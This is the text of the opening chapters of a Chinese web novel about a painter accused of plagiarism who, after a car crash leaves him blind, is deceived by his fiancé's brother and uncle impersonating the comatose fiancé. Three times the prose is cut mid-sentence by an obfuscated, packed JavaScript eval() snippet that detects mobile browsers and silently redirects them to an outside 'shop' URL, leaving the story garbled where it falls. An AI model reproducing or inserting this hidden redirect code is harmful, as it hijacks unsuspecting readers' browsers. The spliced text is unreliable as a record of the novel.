《未婚夫成了一家三口》 1. 柯教授 1 下课后,柯玉树放下画笔。 画板上铺陈的颜色灵动而巧妙,画作的主人,却是人们口中说的抄袭者,学生们对他避之不及。 “要不是为了学分,谁敢来上他课?!” 油画系柯玉树教授被爆出抄袭事件,高岭之花跌入泥潭,成了人人喊打的小偷。 “谁知道他的画是怎么来的?” 嘲讽声中,清冷美人长长的睫毛微垂,形单影只。 画怎么来的? 原作都是他画的。 只是柯玉树没法解释,他现在只能是个籍籍无名的柯家大少爷,油画系的普通教授。 “砰——” 大教室的门被一脚踢开,先进来两个黑衣保镖,随后,一个身材高大的男人走了进来。 那人高级定制风衣,气势逼人,他扫视一圈,最后视线停在柯玉树身上。 “走了。” 声音很冷。 柯玉树抓起背包离开大教室。 又是一阵窃窃私语:“那人是谁?柯小偷还惹了道上的人?” “嘘,小声些,是程大少爷,据说是要跟他联姻,柯小偷就死皮赖脸缠上去了呗……” “什么联姻,施舍他呢!” 不是施舍,柯玉树心说,是长辈们定下的婚约。 他的未婚夫是程家大少爷,程栖山。 柯家只是s市本地的中型企业,程家外贸的流水抵得过十个柯家,还算得上是他们高攀,要不是妹妹突然提了句有婚约,柯玉树都不知道自己早就被“嫁”了出去,所以最开始柯玉树是拒绝的。 他深陷抄袭风波半个月,远在国外的妹妹分身乏术,只有程栖山挺身而出,说相信他,会帮他。 柯玉树就这样坠入爱河了吗? 在外人看来是的,他见到程大少爷的第一眼就跪舔了上去,将大少爷身边的桃花斩了个干干净净,斩到哪里去暂且不提,柯玉树真喜欢程栖山吗? 他只喜欢程栖山的脸。 在见到程栖山之前,柯玉树几乎无法动笔作画,被说抄袭的那幅画成了绝响,他再无法画出同样水准的画,证明自己的清白。 不过现在有程栖山这个满级灵感包在,用不了多久,他就能够再次动笔,等到画作完成,谁是谁非自然见分晓。 程栖山跟柯玉树联姻也只是挡桃花,大少爷是个精明的商人,两人一开始就告知了对方各自的需求。 他们各取所需,很好。 程栖山在司机前为柯玉树打开车门,冷淡地说:“稍等,回程家拿个东西。” 柯玉树掀起眼皮看了他一眼,转头看向窗外。 “随你。” 很长的沉默之后,程栖山忽然从报表里抬头,补充:“只是拿东西。” 因为抄袭风波,程家人看不起柯玉树,去程家可能会让柯玉树难受。 “知道了,程栖山。”柯玉树点头。 柯玉树在念程栖山名字的时候,咬字清晰,尾音却还在唇齿间细细辗转,像是一块缠绵的、化不开的蜜糖。 程栖山喉结滚动,默默合上了报表。 柯玉树只和未婚夫接触了半个月,直男总裁克己守礼,两人做的最亲密的举动也只是牵手,因为程栖山是一款很纯的原木。 但在虎狼环伺的程家,程栖山却是唯一尊重柯玉树的人,柯玉树还记得自己第一次被带入程家的时候,根本没有人把他放在眼里。 “这就是画画那小子?妖里妖气,还联姻什么?点钱打发了不就行了!” 程栖山的弟弟见都不想见他,程小叔让佣人带来一句话:“没必要,他没价值。” 只有程栖山坚持联姻。 车在程家庄园门口停下,佣人早已等候多时,程栖山先下车,帮柯玉树拉开了车门。 “在客厅等我十分钟。”程栖山说。 柯玉树目送程栖山离开,被佣人引到客厅。 西式客厅颇具雅致,柯玉树坐在沙发上看西兰顿艺术节的参赛作品。 忽然,窗外草坪狂风大作,他抬眼,一架直升机降落在草坪,佣人们小跑过去,恭敬弯腰。 直升机上跳下个男人,距离太远柯玉树看不清脸,但他大概能猜得出来那人是谁。 程二少爷,人们口中的天才画家,程雀枝。 也是柯玉树“抄袭”的人。 柯玉树有一幅未完成的画,存放在老师那里,他想起老师之前曾跟他提过,有个十分有灵气的小画家想要以他的画作为原型,临摹创作一幅属于自己的画。 这在绘画界并不常见,但柯玉树见过那小画家的笔触,个人风格很明显,确实是个很真诚的孩子,于是同意了让他临摹,甚至没让他标临摹签。 因为自己那幅未完成的画作不会公布,没必要。 柯玉树看着西兰顿艺术节的参赛作品,那熟悉的个人风格让他微微皱眉,特别是署名的那三个字。 程雀枝。 就是他觉得不错的小画家。 这又是个什么乌龙? 程雀枝算是国外小有名气的画家,柯玉树自然比不得,远远看去二少爷意气风发,仿佛下一秒就要从手里撒出一大把绿色钞票。 和自己不是一类人。 柯玉树收回目光,放下手机,起身去卫生间打算洗个脸。 将冷水拍在脸上,柯玉树低头看着水池里的涟漪,有些出神。 程雀枝知道他临摹的画,是自己画的吗? 水声掩映下,柯玉树忽然听到一声冷哼,带着十足的嘲讽和厌恶。 “剽窃者。” 擦干净脸,柯玉树转身,只看到了一个穿着白色皮衣、扬长而去的背影。 二少爷神秘莫测,肆意妄为,柯玉树静静看了一会儿,然后一言不发地回了沙发。 几分钟后,楼上传来争吵声,说十分钟就下来的程栖山,此刻正在和自己的小弟大声争吵。 柯玉树靠在沙发上,用纸巾擦拭自己脸上的水珠,无视了两人的声音,无非是一些他抄袭程雀枝,程栖山维护自己的讨论。 程栖山不知道说了什么,楼上开始传来打杂声,还有二少爷的怒骂声,柯玉树听着,居然觉得还有些悦耳。 他闭上眼睛,手指轻轻动,像是在演奏一曲欢快的琴曲。 一曲结束,柯玉树抬眼,忽然看到二楼阴影处站着一个高大的男人。 男人在阴影中,看不清他的脸,但这是程家,除了两位少爷的小叔,柯玉树暂时没有其他人选。 程家这三位,除了程栖山,其他人柯玉树一面都没有见过,而且往往都是他们居高临下打量柯玉树,如同打量一件待价而沽的货物。 两人一个在上,一个在下,静静听着楼上的叫骂争吵。 程小叔本来就看不上柯玉树,两个侄儿又为了他大动干戈,闹得鸡犬不宁,程家这种大家族,最忌讳的就是家宅不宁,自己这个侄媳妇在程小叔那里的印象应该不会太好。 三楼,书房的门被狠狠砸上,程雀枝以一句怒吼结束了这场战争。 “行啊程栖山,你真敢这么做,老子他妈再不管你了!” 程栖山走下旋转木梯,与二楼的小叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949057|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞了个正着,他只是微微点头,然后来到客厅。 看到柯玉树脸上耳侧没擦干净的水珠,程栖山微微皱眉。 “走吧。” 两人离开程家,柯玉树最后回头看了一眼,看到三楼栏杆,程二少爷正抓起一个花瓶,就要向他们砸过来。 逆着光,柯玉树看不清他的脸,事态紧急,他下意识挡在程栖山身后。 花瓶却并没有落下。 因为二少爷看到了柯玉树的脸,居然猛然收回手,将花瓶砸到了阳台上。 发出剧烈的声响。 柯玉树愣了一下,二少爷似乎又骂了句什么,他没听清,就被程栖山揽着肩膀送进宾利。 这次是程栖山亲自开车。 柯玉树没问去哪,程栖山也不说。 宾利驶离半山别墅的区域,程栖山才缓缓开口:“刚才……谢谢。” “帮你挡花瓶吗?只是刚好看到了,”柯玉树仔细观察他的表情,“你可不能受伤,我的缪斯。” 车忽然往旁边的绿化道偏了一下,又很快平稳下来。 “嗯,我知道。”程栖山说。 依旧冷硬着一张脸。 柯玉树忽然又说:“我猜,你要跟我领证了。” 程栖山那张冷硬的脸终于崩了,他英俊的眉微微蹙起,被柯玉树称之为缪斯的脸俊美非凡,因气质太强,总给人不好惹的感觉。 柯玉树却怎么看怎么满意。 “我愿意的。”柯玉树重复:“我愿意的,我们现在就去吧。” 程栖山把车停在路边,“不再考虑一下?” 柯玉树摇头说:“你千辛万苦拿了证件,还差点被花瓶砸死,临到头了,难不成想退婚?” 柯玉树看这人还挺着急的。 程栖山点头,坦诚道:“不想。” “开车。” 宾利又再次动了起来,柯玉树支着头看程栖山。 他的缪斯啊…… 柯玉树自认为自己对所有绘画模特都很负责,从来没有做过越界的举动,却没想到以往的模特却总是喜欢对他当众告白,柯玉树也因此背上了花心滥情的名声。 他们自己管不住心,与他何干? 但程栖山不一样,即便只是联姻,柯玉树也会履行契约精神,所以他把自己的烂桃花尽数斩断,哪怕被人说花心滥情肆意玩弄他人感情,他也无所谓。 他只要程栖山。 “程栖山,我只有一个要求,你必须得保护好你的脸和声音。”柯玉树说。 程栖山脸上没有表情,只嗯了一声。 柯玉树对未婚夫的识时务很满意:“你很有契约精神,我未来的丈——” 柯玉树的话说到一半,忽然天旋地转,他还没明白发生了什么,剧烈的撞击声就响彻耳畔。 大脑一片空白,柯玉树的头被狠狠砸在了玻璃上,旁边似乎传来骨骼碎裂的声音。 人在遇到危险的时候,肾上腺素飙升,几乎感觉不到痛,柯玉树转过头,入目的是未婚夫那张冷酷英俊的脸。 被鲜血浸染了一半。 程栖山正艰难为他撑起车顶变形的金属架,满心满眼都是他。 好奇怪,程栖山为什么会这么紧张? 为什么遇到生命危险,第一个保护的……是他? 柯玉树的意识渐渐朦胧。 程栖山叫着柯玉树的名字,一声比一声着急。 “玉树,玉树?!” 柯玉树艰难开口:“……程栖山,别把你脸毁了啊。” 然后,他失去了知觉。 2. 摸脸 2 “一切都好,就是眼睛……不能受刺激,不利于恢复……” 耳边传来断断续续的对话,柯玉树茫然睁开眼睛,感觉到眼睛上裹着什么。 他又眨了眨眼。 眼前一片空茫。 他好像出车祸了,然后程栖山保护了他……程栖山? 他记得当时程栖山扑过来了,半张脸都是血,那他的脸是不是被伤到了? 柯玉树顾不得眼睛的异常,提起声音先问:“程栖山呢?他怎么样了?” 声音却又小又沙哑,一时间没人注意到他已经醒了。 柯玉树想要坐起来,却感觉上半身无力,他只好伸出手乱抓,想要把蒙在眼上的纱布扯下来。 “柯先生醒了?” “快按住他,别让伤口崩开!” 柯玉树这才发现不仅是眼睛,他头后脑勺也传来钝痛,柯玉树迟疑一瞬不再动弹。 变得十分乖顺。 “柯先生,你有哪里不舒服的吗?” “程栖山呢?”柯玉树再问。 医生欲言又止。 柯玉树眉头微微皱起来,他压下心中那点火气,尽量平静地问:“我的眼睛是怎么回事?还有,请告诉我这里是哪里?我的未婚夫情况怎么样?” 柯玉树正常说话时语气很冷淡,他面色苍白,纤细的手指扣着被子,突出关节弧度都那样脆弱,仿佛随时都能折断。 “柯先生别担心,你只是大脑的淤血压迫神经系统,导致暂时失明,休养一段时间就能做手术痊愈。请尽量保持身心愉快,不要过于激动,这里是迈谷私立医院……” 医生话说得很慢,娓娓道来,还试图转移话题,将柯玉树的注意力引到其他地方去。 柯玉树却打断了他的话。 “所以程栖山呢?我未婚夫怎么样了?为什么不告诉我他的情况?” 柯玉树微微皱眉,这人怎么吞吞吐吐的? 医生迟迟不给答案,柯玉树只好轻声说:“程栖山是我的未婚夫,我们本来打算去领证,没想到却遇上了这样的事……医生,能告诉我我恋人的情况吗?我真的很担心。” 柯玉树抬起手揉了揉被纱布包着的下颚,米白色的毛衣滑落,露出纤细的手腕,破碎感加倍。 医生似乎呆住了。 “难道说他已经……”柯玉树木着脸说。 程栖山死了? 那照片也能给他带来灵感吗? 不行,活要见人死要见尸,尸体还能多拍几张照片。 柯玉树这样想着,但他的表情落在其他人眼中,却是已经悲痛到了面无表情。 医生不忍地别开眼。 病房门外,程家叔侄俩刚到。 程雀枝看着里面的柯玉树,嘲讽道:“他这么爱程栖山?” 程小叔:“反正对你没好感。” 程雀枝脸黑了下去。 程小叔微微打开门,扫了眼医生,医生抖了一下,酝酿了很久才开口劝柯玉树:“柯先生,你现在的身体经不起大喜大悲,不要激动,冷静,程先生他只是……” “我只是出去换个药,玉树,怎么了?” 门后忽然传来程栖山的声音。 医生呆住了,柯玉树也有些发愣。 程栖山没出事? 那就好。 脚步声渐渐靠近,在柯玉树旁边停下,来人握住柯玉树的手腕,这动作有些亲密,柯玉树却并没有把手抽回来。 “程栖山?” “是我,玉树,别担心。”未婚夫回答。 未婚夫的另一只手覆盖了上来,他手腕上也缠着纱布,看来伤势比柯玉树轻一点。 柯玉树撑着身体艰难坐起来,未婚夫却没有帮忙,而是就这么看着。 柯玉树心中疑惑,垂首问:“程栖山,你伤到了哪里?” 柯玉树声音沙哑,说这话时像是在撒娇,完全不像刚刚和医生说话的语气。 在场的人都愣了一下。 医生打断了未婚夫将要出口的话:“程先生,你根本……” 医生的话也没说完,他的肩膀似乎被谁拍了一下,柯玉树侧耳听,一阵纷乱的脚步声过后,似乎有两个人离开了病房。 门被掩上,未婚夫向柯玉树解释:“是护工,他和医生有话要说。” 病房的门又被狠狠甩上。 柯玉树微微皱眉,问:“程栖山,为什么你的嗓子哑了,你脸上还好吗?有伤到哪里吗?” 声音哑了可以养回来,脸要是受伤了,他未婚夫的价值可就大打折扣了。 未婚夫似乎愣了一下,硬邦邦解释:“没事,只是头破了,脸上有擦伤。” 只是擦伤,柯玉树放下心来。 “车祸查出来是怎么回事了吗?” 未婚夫叹了口气。 “是意外,我们运气不好,司机疲劳驾驶……” 病房外。 程小叔把医生带了出去。 别人家的外甥像舅,程家的侄子像小叔。程小叔的脸和大侄子程栖山有九分相似,只瞳孔颜色不同。程栖山的瞳孔深黑,而程小叔则是浓密的银灰色,看人的时候,温柔得几乎要腻死人。 此刻,他正勾着笑,漫不经心对医生说:“医生,不该说的话别说。” “医生,你都说了病人不能受刺激,胡言乱语会影响他的。你不用负责柯玉树的病情了,走吧。” 医生张了张口,最终还是低下了头,颓丧着脸离开走廊。 忽然,他心中一惊,大脑一片空白,正要转回病房,忽然,一个金发碧眼的高大男人按住他的肩膀,用有些蹩脚的中文说:“医生,请按我老板说的做。” 然后被拖进了安全通道。 程小叔推开病房门。 刚进去,就看到柯玉树正握着二侄子的手,轻声说:“我只是摸一下脸,程栖山,你一直不让我摸,我很担心你。” 伪装成哥哥的程雀枝:“……不行。” 柯玉树虽然长得好,但毕竟有抄袭的前科,程雀枝最是厌恶抄袭者,他不能跟他这么亲近。 程雀枝心硬了起来。 他想要抽回手狠狠甩开柯玉树,就听到柯玉树又劝:“栖山,你是我的缪斯,你的脸和声音,于我而言,都是宝贵的灵感。你不是答应过我吗?为什么要拒绝?” 美人一脸茫然,眼睛上被蒙着的纱布更显脆弱,程雀枝的尴尬和愤怒渐渐消散,他又莫名其妙犹豫起来。 忽然,门口的程小叔轻笑一声。 程雀枝连忙将自己的手抽了回来,对小叔怒目而视。 “栖山?”柯玉树茫然抬头。 “稍等,我拆一下纱布。”程雀枝说。 说这话时,柯玉树一直望着程雀枝的方向,有些担忧,又有些紧张。 程雀枝的眉头狠狠跳了下。 还挺深情。 程雀枝转头看向小叔,他没有程栖山的脸,只有为了混淆外人视听而特意练过的声线,但小叔有。 程小叔了然,为了安抚未来侄媳妇,他随手往脖子上缠了条纱布,到病床前,在程雀枝不悦的目光下牵起柯玉树的手。 柯玉树还挺软,看着是个清清冷冷的美人,却对未婚夫温柔小意,关怀备至。 痴情小白花? 程小叔这样想着,嘴角勾起一抹笑,引着柯玉树苍白温暖的手到自己脸上。 “唔……” 柯玉树手指擦过未婚夫脸庞、颧骨、鼻梁还有眉毛,确定没有什么大的伤痕后,他松了口气。 “你果然没骗我。”柯玉树说。 眼前的人似乎轻哼了一声,柯玉树没听清,只感觉温热的气息喷在自己手心,有些痒痒的,他又从未婚夫英俊的眉毛向下,到眼睛和颧骨,擦过鼻梁骨,终停留在上唇。 未婚夫似乎不经意张了张口,柯玉树微微一愣,指腹就触碰到了温热湿润的舌尖。 他反应过来这是什么后微微皱眉,默默把手收了回去。 “程栖山?” 他话音刚落,只感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949058|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉眼前一阵微风刮过,再之后想起了衣料摩擦的声音。 “怎么了?”未婚夫问。 程栖山似乎有点生气,是因为自己不小心碰到了他的舌头吗? 他都还没说什么呢。 柯玉树摇头,慢慢地说:“你没事就好。” “程栖山,真的很感谢你用命救了我,我……” 未婚夫问:“你什么?” 柯玉树的脸缓缓浮现起淡粉色,白瓷般毫无瑕疵的脸染上了可疑的粉晕。 程栖山是一款冷硬直男,应该喜欢羞涩小白花,于是柯玉树嗫嚅着说:“我、我也一样,和你有同样的心情,栖山,我要怎么报答你?” 程家人本就不喜欢他,他又变成了个瞎子,虽然只是暂时的,但万一他们以此威胁程栖山放弃联姻怎么办? 为了缪斯,柯玉树豁出去了。 未婚夫却回答:“不用报答,这都是我该做的。柯玉树,我也同样喜欢你。” 喜欢? 柯玉树没看出来,但既然未婚夫都这么说了,他暂且当个承诺吧。 于是柯玉树垂下了头,看起来有些害羞。 未婚夫又说:“你先休息吧,等晚点你醒来,我再看你。” 这是想离开了? 柯玉树善解人意,他乖乖在病床上躺好,为了不让未婚夫觉得麻烦,柯玉树尽量扮演一个乖巧省心的联姻对象。 “我先走了。”未婚夫说。 柯玉树点头,“好。” 未婚夫转身离开。 脚步抵达门口时候,柯玉树忽然问:“刚才好像是有谁进来了?” 未婚夫冷淡回答:“嗯,是护工罢了,我先带他离开,不影响你休息。” 门被谁狠狠甩上。 清冷美人静静躺在病床上,温柔地说:“好。” 病房大门关上,柯玉树望着门的方向若有所思,门外的程雀枝怒火中烧。 他质问自己的小叔:“你他娘的为什么伸舌头?” 程小叔摊手说:“纯属意外,我又没被人这么摸过脸。” 程雀枝冷着一张脸,拳头紧紧攥了起来,他沉声说:“小叔,别忘了,他是你大侄子的未婚夫。” 程小叔对自己二侄子的脸皮有了新的认识,他挑挑眉,“他也是你未来的嫂子,程雀枝。刚才在病房的时候怎么没叫我小叔?还说我是护工,程家的教养都被你吃进狗肚子里了吗?” 程雀枝阴沉沉地回答:“别动他,我这不过是缓兵之计。既然大哥没用了,我这就把他打包到郊区安度晚年,也还请小叔不要插手我们兄弟俩的事。” 程氏要把经济重心转移回国,程栖山只是先来探路,没想到出意外成了植物人,醒来的概率几乎可以忽略不计。 两人还在国外的时候,就天天看程栖山在群里炫耀柯玉树,肆无忌惮。程雀枝在暗中窥伺,一开始只觉得烦躁,甚至冲回国对这个未过门的大嫂冷嘲热讽。 简直侮辱了艺术! 然而,就在刚才,在三楼阳台,他看到了这位大嫂的脸,开始怀疑自己判断。 柯玉树有那样一张脸,又会画画,可能只是不小心误入歧途,说不定假以时日就能把他引回正道。 至于联姻?他也可以。 他要把柯玉树抢过来。 程小叔笑着说:“我让你学程栖山的声音,是为了让你们两个自保,现在怎么成了撬墙角的工具了?锄头挥得都冒烟了吧,程雀枝,做你大哥真是命苦。” 程雀枝阴森森盯着程小叔。 “行了,你也别用这种眼神看我,放心,我还不至于对侄子的未婚夫下手。” 程雀枝轻嗤一声,“是吗?” 他冷着脸离开了,想来是去把大哥打包送郊区了。 程小叔叹息一声,程家人骨子里果然是冷的。 他站在病房门口,透过玻璃看着里面沉睡的清冷美人,勾了勾唇。 “怎么我两个侄子都对你感兴趣了,柯玉树?” “有意思。” 3. 同居 3 柯玉树车祸的消息传开了,知道他失明,人人都在说他罪有应得。 柯玉树一一把打电话来辱骂他的人拉黑,然后在护工的帮助下,跟校长请了假,又简单应付了为数不多的朋友,手机这才消停下来。 柯玉树情绪稳定得根本不像是刚失明的人,那些谩骂对他也没有影响,只要不触碰到柯玉树的底线,他就是个淡人。 程栖山半个月前找到他,说要让弟弟程二少出来澄清,到现在都没后续,看来这件事就要不了了之了。 也行,反正他还有更重要的事要做。 程栖山。 病门被敲响,柯玉树下意识望过去,听到未婚夫问:“玉树,今天头还晕吗?” 车祸后,未婚夫总往医院跑,但柯玉树看不到程栖山的脸,程栖山又太闷,不怎么说话。 怪没意思的。 “头还有一点晕,不过好很多了,今天不忙吗?” “不忙。”程雀枝说。 程雀枝在国外艺术学院挂了名,根本不用上课,他这几天被小叔按着处理集团事务,心烦意乱,只能在下班的时候来医院看一眼柯玉树。 程雀枝选择画画,只是觉得好玩,但现在,更好玩的东西出现了。 柯玉树。 这几天,程雀枝仔细看了柯玉树往日的画作,发现柯玉树的笔触很有灵气,他再次笃定柯玉树只是误入歧途。 程雀枝的画作借鉴于Ye先生未完成的画作,只是他得到了Ye先生老师的授权,算不得抄袭。 所以他才这么笃定柯玉树抄袭,因为Ye先生至今身份不明,是国内外饱受赞誉的天才画家,每幅画都是精品,程雀枝也是他的仰慕者之一。他费尽千辛万苦才打听出Ye先生老师的身份,想要试图接近Ye先生,却一直都没有机会。 柯玉树说不定也喜欢Ye先生,无意中在Ye老师的私藏里,看到那幅未完成的画,就拿来自己用了。 能改得回来。 “在医院无聊吗?要不要我帮你带点东西?”程雀枝问。 柯玉树点头,他要来了彩纸。 柯玉树的手很巧,即便看不见,纸鹤和玫瑰都能在他手上栩栩如生,程雀枝在旁边看着,忽然笑了一下。 “怎么了?” “能折一个我吗?”程雀枝问。 柯玉树折了一个盒子给他。 “什么意思?” “木头。”柯玉树说。 柯玉树不解释,程雀枝也完全不懂柯玉树和程栖山之间的暗号,他看着手里的盒子,五指一用力,盒子就变成了一团皱巴巴的废纸。 程雀枝忽然问:“玉树,关于你抄袭的那幅画,有原作吗?” “嗯,原作是我,怎么了?”柯玉树没撒谎。 程雀枝忽然失语。 抄袭者怎么能这么坦然? 他心里那点小火苗忽然消失了。 “没什么。”程雀枝又想到另一件事,“你一个人不方便,需要有人照顾,你打算怎么办?” 程雀枝一开始是想把柯玉树接回自己家,好好照顾引导的,但柯玉树现在的表现令他很不满意。 他忽然想把这个麻烦甩给小叔。 听到未婚夫的话,柯玉树愣了下,又转念一想,他和未婚夫都是要领证的关系了,好像住在一起也无所谓。 还能增进感情,避免被退婚。 于是柯玉树点头说:“去你家吧,麻烦你照顾我了,我的未婚夫。” 美人说这话时很认真,程雀枝拒绝的话又吞了回去。 算了,坏是坏了点,就当养个宠物了,谁叫他大哥喜欢柯玉树呢? “好。” 柯玉树摸了摸后脑的伤口,外伤不严重,可以自由活动了,他又问:“程栖山,出院后咱们再去趟民政局?” 把结婚证扯了。 “等你眼睛好了再说。”程雀枝硬邦邦回答。 柯玉树点头说是。 什么时候能把眼睛养好医生也没个定数,柯玉树不着急,反正未婚夫就在这里,还能跑了不成? 他在医院养了个把月,出院后就直接住进了未婚夫家里,是个带泳池的大平层。 程雀枝手心微凉,柯玉树被他牵进门,听到有脚步声由远及近。 偏轻,似乎是个女性。 程雀枝向柯玉树介绍:“这是李阿姨,是咱们家的住家阿姨,也是康复科的医生。以后就由她和另外一个护工照顾你的生活起居。” 把麻烦外包出去,柯玉树是生是死跟他没关系。 李阿姨说:“柯先生好。” 柯玉树眼睛上蒙着纱布,眼球微微转动,轻声说:“嗯,知道了。” 刚失明的人总会习惯性看向发声地的方位。 “李阿姨会定期带你去医院复查,安心住下吧,这里以后就是你的家。” 未婚夫语气平平,话语里也毫无情绪,柯玉树却勾起唇角。 “程栖山,你对我真的很好。” 未婚夫的手忽然握紧,柯玉树不知道未婚夫现在是什么表情,但他知道,他一定不平静。 真好逗啊。 “柯先生,我先带你去房间看看吧,小心一些,这里有梯子……”李阿姨把盲杖交到柯玉树手里,“对了程先生,雇佣文件我已经放在书房了,你可以去看一下。” 李阿姨性格热情外放,想要扶柯玉树,手刚触碰到柯玉树就被柯玉树下意识避开。 “带路吧,我自己走。”柯玉树说。 李阿姨:“成。” 李阿姨在前面带路介绍,尽量不触碰柯玉树,柯玉树偶尔点头回应,又恢复了那副清冷的模样。 书房门口,程雀枝静静看着两人,忽然觉得有些不爽。李阿姨不小心瞥见他藏在阴影里的脸,声音都卡顿了一下。 “李阿姨,怎么了?”柯玉树问。 “没什么,就是不知道柯先生喜不喜欢房间的布置……” 柯玉树的房间不大,所有硬角都被海绵包裹起来,可见李阿姨提前做好了周密的准备。 “很不错。”柯玉树说。 两人交谈着,程雀枝的表情却越来越耐人寻味。 柯玉树对所有人都一个样,但程栖山不一样,他看得出来,柯玉树喜欢程栖山,不然不会在车祸醒来后第一时间询问程栖山的状况。 哦,他那个便宜大哥真是超爱柯玉树,这两人双向奔赴,却在奔赴婚姻殿堂的时候出了意外。 真是一对苦命鸳鸯。 程雀枝忽然抑制不住心里那点恶趣味,既然柯玉树冥顽不灵,不仅不知悔改,还勾引了他大哥,那他何不将计就计,一直扮演他大哥? 柯玉树的眼睛恢复后,发现痴心错付,表情一定很好看。 卧室里,柯玉树正扶着墙揉小臂,陌生环境里盲人难免会磕磕碰碰,虽然已经尽力避免了,但他的小腿和小臂还是被碰得发红。 李阿姨想要帮忙,却被柯玉树婉拒:“还是我自己来吧,毕竟自己的房间,总要了解一些。” 柯玉树内里颇有韧劲,李阿姨从医这么多年,都很少见到像柯玉树情绪这么稳定的病人,寻常病人这时候早就崩溃了。 她对柯玉树很有好感。 柯玉树大致清楚了房间的布局,然后问李阿姨:“程栖山以前应该不住在这里,对吗?” 程栖山不住在程家庄园,也不至于住在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949059|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环外的小平层,应该是特意为他买的房子。 李阿姨下意识看向书房门口。 这里是程雀枝的家。 一直等不到李阿姨回答,柯玉树安抚着说:“不用担心,栖山已经回书房处理工作了。告诉我吧,他是因为我所以才换了房子,对不对?” 李阿姨:“这……” 柯玉树不知道的是,他口中所说的“栖山”,正静静看着他们,等着随时狩猎猎物的狼。 李阿姨抖了抖,然后勉强用平静的声音回答:“是,但是柯先生你也不要有太多的负担,毕竟你们是未婚夫夫……” 当骗子的感觉很不好,李阿姨有点演不下去了,想给程雀枝退钱,但想起她根本赔不起的违约金,又只能硬着头皮演。 程雀枝一开始只说是照顾失明的病人,她签了合同,把资料背得滚瓜烂熟,结果到地方一看,哪里有什么程栖山?只有个觊觎嫂子的程雀枝! 李阿姨想起还在疗养院昏迷不醒的程栖山,良心再次遭受重击。 程雀枝,你坏事做尽! 可是柯先生不能受刺激…… 李阿姨终于还是叹了口气,说:“先生很爱你,柯先生,你就在这里安心住下吧。” 柯玉树点头,眼珠下意识转向书房门口,李阿姨声音传来的方向不对,她朝着的是书房。 她在怕程栖山吗? 还是自己感觉错了? 很奇怪。 李阿姨专业实力过硬,柯玉树的生活逐渐安定下来。 “柯先生是病人,睡觉的时候尽量不要锁门,要是出了什么事,我们能随时进来帮忙。”李阿姨说。 柯玉树对此倒是无所谓,点头同意。 在未婚夫家里的这三天,他睡眠质量似乎格外得好,也不知道是不是养生汤起了效果。 未婚夫的工作似乎也不怎么忙了,天天和柯玉树一起用早晚餐。柯玉树最开始有些不适应,但很快就接受自己未婚夫粘人这个标签。 未婚夫甚至对画画起了兴趣,好几次拿着颜料让柯玉树试着作画,柯玉树捏着画笔,有些无奈。 “栖山,我看不见啊。” 程雀枝看着大嫂无奈的表情,一脸兴味。 “对不起啊,玉树,”程雀枝用大哥的声音说:“我记得你很厉害,以为你看不见都能画画呢。” 柯玉树:“……” “画不了。”柯玉树直接说。 程雀枝被甩了脸子,面色阴沉下去。 不过是个会画画的小玩意儿,靠着脸勾引大哥,居然还敢拿乔? 程雀枝转身就走,打算回书房让小叔想办法给柯玉树点教训,他手下的人下手太狠,小叔年纪大了,下手轻些。 程家二少爷性格喜怒无常,无法无天。 只是打了好几个电话,对面都没有人接听,程雀枝心里越来越烦躁,他拉开书房大门,打算去厨房喝杯冰水,却看到阳台站着的人手里握着一支铅笔,正在画板上专注作画。 画布被换成了白纸,李阿姨站在旁边,不住赞叹。 程雀枝走近,发现柯玉树正在绘制一幅人物速写,不过十来分钟,纸上的人物就已经颇具雏形。 是他那个死鬼大哥,程栖山。 下笔轻柔,笔触动人,尽管作画者看不见,却依旧栩栩如生。 程雀枝:“……” 他胸中那股无名火升起来了,久违的胜负欲也被点燃。 这不是挺会画吗? 刚好这个时候,小叔把电话打了回来,程雀枝扫了眼阳台,回到书房接听。 “喂?” 程雀枝:“把程栖山送出国吧。” 程小叔:“?” 4. 程雀枝的不可置信 4 程栖山没有被送出国,程小叔严词拒绝并辱骂了二侄子。 柯玉树素描也没能画完,因为未婚夫想要学画画,还要他这个盲人亲自教。 柯玉树笔尖被不小心拗断,“你认真的?” “玉树刚才还说不会画呢,怎么又画得那么好?”程雀枝反问。 程雀枝完全不能容忍自己居然被戏耍了,二少爷还从来没有受过这种气! 他的语气很平淡,只是脸上咬牙切齿,李阿姨往后退了一步,万般无奈。 “油画需要颜料,要调色,”柯玉树说,“素描不需要,而且你的脸我已经记下来了。” 程雀枝下意识摸了下脸,随即反应过来不是自己的,差点气笑了。 “原来是这样啊,玉树,那你教我素描,怎么样?”程雀枝耐着性子问。 据他所知,柯玉树只是油画画得好,素描比自己差的远了,他倒要看看柯玉树怎样教自己。 